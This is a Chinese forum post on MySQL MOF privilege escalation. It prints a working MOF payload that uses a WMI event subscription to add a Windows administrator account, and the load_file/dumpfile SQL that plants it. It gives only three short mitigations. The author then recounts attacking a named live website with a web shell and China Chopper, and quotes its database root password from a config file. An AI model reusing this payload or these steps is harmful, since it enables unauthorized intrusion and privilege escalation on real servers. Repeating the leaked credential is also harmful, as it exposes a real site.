Mysql mof扩展漏洞实例与防范
Mysql mof扩展漏洞防范方法网上公开的一些利用代码:
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name= “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法:
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
2、禁止使用”WScript.Shel”组件
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
事情是这样发生的一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
看懂了后就开始练手吧
http://www.webbmw.com/config/config_ucenter.php 一句话 a
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
于是直接用菜刀开搞
上马先
既然有了那些账号 之类的 于是我们就执行吧…….
小小的说下
在这里第1次执行未成功 原因未知
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name= “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
我是将文件放到C:\WINDOWS\temp\1.mof
所以我们就改下执行的代码
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
但是 你会发现账号还是没有躺在那里。。
于是我就感觉蛋疼
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
但是其他库均不成功…
我就很费解呀 到底为什么不成功求大牛解答…
页:
[1]